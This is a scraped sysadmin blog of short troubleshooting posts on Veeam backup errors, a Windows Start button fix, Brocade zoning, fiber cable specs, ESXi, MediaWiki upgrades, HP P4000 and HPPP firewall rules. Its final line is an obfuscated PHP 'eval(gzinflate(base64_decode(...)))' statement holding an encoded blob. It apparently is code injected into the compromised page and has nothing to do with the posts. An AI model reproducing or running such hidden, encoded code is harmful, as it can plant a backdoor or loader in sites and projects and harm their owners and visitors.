80080005 Server execution failed

In one instance we encountered following error on a VEEAM backup environment, where all backup’s failed in the same session. also manually restarting the jobs gave this error:

Unable to subscribe to guest processing components: Retrieving the COM class factory for component with CLSID {D2E3C73F-841A-46B0-A93F-956CCABD3B11} failed due to the following error: 80080005 Server execution failed (Exception from HRESULT: 0x80080005 (CO_E_SERVER_EXEC_FAILURE))

After investigation it seemed that intl.dll was missing in the …\Veeam\Backup and Replication\Backup\VSS folder.

Replacing it fixed the problem.

Storage guy going App-v

OK. This week for serious. Going for App-v. After first doing the necessary (Pre)-Intakes, this week finally going for Packaging.

Nice for a Linux guy, doing Windows ‘debugging’.

However. A very nice step for me and still wishing to learn more. Tomorrow an other day.

App-V …. Here I come :-)

 

Start button doesn’t work in Windows Pro 8.1

After upgrading my laptop and the last reboot I found out my Start button (of my first (laptop) screen) did not react to my mouse clicks. (On my second screen it worked fine).

Seems you should do next:

1 – Go to: C:\Users\Default\AppData\Local\Microsoft\Windows and copy the WinX folder.
2 – Go to: C:\Users\[your user name]\AppData\Local\Microsoft\Windows and replace the WinX folder

(I zipped the old one, just to be sure)

Log out and logon again.

Start button works fine again

Have fun!

Segmented Brocade Switch

Once in your lifetime you encounter that you have changed something in one SAN switch. And after a while you see that the other switch(es) where not connected to the switch where you made zoning changes.

If you join them again (fixed it by replacing an defective SFP that was the up-link to my changed switch) you’ll see in the CLI on the ISL port when you enter ‘switchshow’ that the ISL port gives “Segmented”.

 

To fix it (nicely) you must change both switches in a stats that both have OR the same config again OR you just clear the zoning on one switch (as it should be redundant).

BUT in most environments it’s not applicable  so:

1 Go to both switches via CLI.
2 Login
3 Disable the ISL port on one side (switch). (portdisable x)
4 Do a zoneshow on boths switches and capture the output.
5 Save the output to 2 different files.
6  Take Notepad++ (with the compare plugin installed)
7  Open the two files.
8 Go to Plugins > Compare > Compare (Alt-D).
9  In the most right screen you will see with green lines where there are differences.
10  Look them up, and change them in the zonig. In such a way that both switches have the same config again. (Remember that if you empty an alias in this process, the Save and Enable config will not proceed). With no error!
11 Go to the switch where the ISL port is disabled. (CLI)
12  Enable the port (portenable x).
13 You should now see the WWN from the other switch, with eventually ‘downwstream (or upstream)’. And also the switch name of the other side of the ISL.

All done!

Good luck.

LC/PC, LC/SPC or LC/UPC patch-cord

Cable Specifications

Singlemode optical fiber with a coating of Ø ext. 0.25 mm
Tight buffered fiber, Ø ext. 0.90 mm
Aramid yarns
PVC low-smoke flame-retardant OuterSheath, Ø ext. 3 mm
Jacketing color yellow
Minimum bending radius (mm) 30
Maximum load (N) 300
Operating temperature -20 ºC a 70 ºC
Type of fiber Singlemode
Core/ Clad diameter (µm) 10/125
Attenuation(dB/Km)
    Wavelength 1.310 nm <0.40
    Wavelength 1.550 nm <0.25
Chromatic Dispersion (ps/km x nm)
    Wavelength 1.310 nm <2.0
    Wavelength 1.550 nm <20.0
Other features, according to CCIT G.652

 

Feature

Max.

Typ.

Wavelength:

—-

1.310/1.550 nm

Insertion Loss (I.L.):

<0.3 dB

0.15 dB

Return Loss (R.L.):

LC/PC
LC/SPC
LC/UPC

 

>30 dB
>40 dB
>50 dB

 

32 dB
42 dB
52 dB

Stability of I.L. in the range -20º to +70ºC:

<0.1 dB

0.05 dB

Stability of I.L. at 40ºC and 90% RH for 24 hours:

<0.2 dB

0.1 dB

Repeatability

P.I. < 0.1 dB in 1000 connections

Minimum operating life

1000 mating cycles

Mechanic strength: fall, impact and vibrations

<0.10 dB

—–

Tensile strenght

—–

4 kg

vmodl.fauly.hostcommunication error

While re-starting a ESXi 5.1 cluster. It came back, but one host did not join the cluster.

Adding it to the cluster (or at fisrt during a “connect”) it gave me the following error:

vmodl.fauly.hostcommunication 

Removing and adding it again to the cluster did not work. Disabling and Enabling HA did not do the trick.

Fix:
As it was ESXI 5.1 you connect to it (console or SSH) and type

services.sh restart

Now you can add the node again to the Cluster (remember to Enable HA again)

 

 

Media Wiki update from 1.15.x to 1.22.x

I had to update an MediaWiki server due to security issues:

Things I had to do to get it working:

Added in /etc/my.cnf
net_buffer_length=1000000
max_allowed_packet=1000000000

To make import possible from database dump.

Placed new mediawiki server next to the old one. Copies the images en plugins.

Run from the commandline php update.php

All went well.

Manager count HP P4000

Looking for the best practice regarding the amount of managers that should be running in a Single Site config. I saw that this was not that easy to find (as HP is aiming on Multi-Site Clusters).

For a single site next does count.

2 Nodes, 1 FOM, 3 managers
3 Nodes, 0 FOM, 3 managers
4 Nodes, 1 FOM, 3 or 5 managers (5 preferred)

Just make sure you have an odd manager count, so 1 node can fail ad you still will have 2 managers running.
This could mean that you could run without a FOM in a 4 Node SS Cluster. (3 managers running on 3 Nodes, but nothing may go wrong when 1 node already has failed.)

Installing HPPP on vMA

Upload the HPPP_x.xx.xx_Linux_X64.rpm to the vMA (/tmp) (with winSCP of FASTscp)

> sudo -s
> rpm -i hppp-linux-1.02.028-1.x86_64.rpm

Starting Power Protector: HP-HPPP[ OK ]

Check if the service is indeed listening on it’s ports:
> netstat -tanp | grep LISTEN
tcp 0 0 0.0.0.0:4679 0.0.0.0:* LISTEN 7813/HP-HPPP
tcp 0 0 0.0.0.0:4680 0.0.0.0:* LISTEN 7813/HP-HPPP
tcp 0 0 :::22 :::* LISTEN 2082/sshd

Default the vMA does not have ports 4679 (http) en 4680 (https) open

Configure communication between HPPP and the HP Network Module:
> sudo -s
> iptables -I OUTPUT -p tcp –dport 80 -j ACCEPT
> iptables -I INPUT -p tcp –dport 4679 -j ACCEPT
> iptables -I INPUT -p tcp –dport 4680 -j ACCEPT
> iptables -I INPUT -p udp –dport 4679 -j ACCEPT
> iptables -I INPUT -p udp –dport 4680 -j ACCEPT
> iptables -I OUTPUT -p udp –dport 4679 -j ACCEPT
> iptables -I OUTPUT -p udp –dport 4680 -j ACCEPT

> service iptables save
> iptables-save

Now you can connect with a web-browser.
Also the commi=unication between the vMA HPPP and the UPS is restored.

VMRC Console has disconnected – attempting to reconnect.

If the issue persists, end any vmware-vmrc.exe processes in the Windows Task Manager:

  1. Close all vSphere Client sessions.
  2. Open Windows Task Manager.
  3. Search for any vmware-vmrc.exe processes and end the process.
  4. Start the vSphere Client and connect to the host directly or to vCenter Server.
eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?>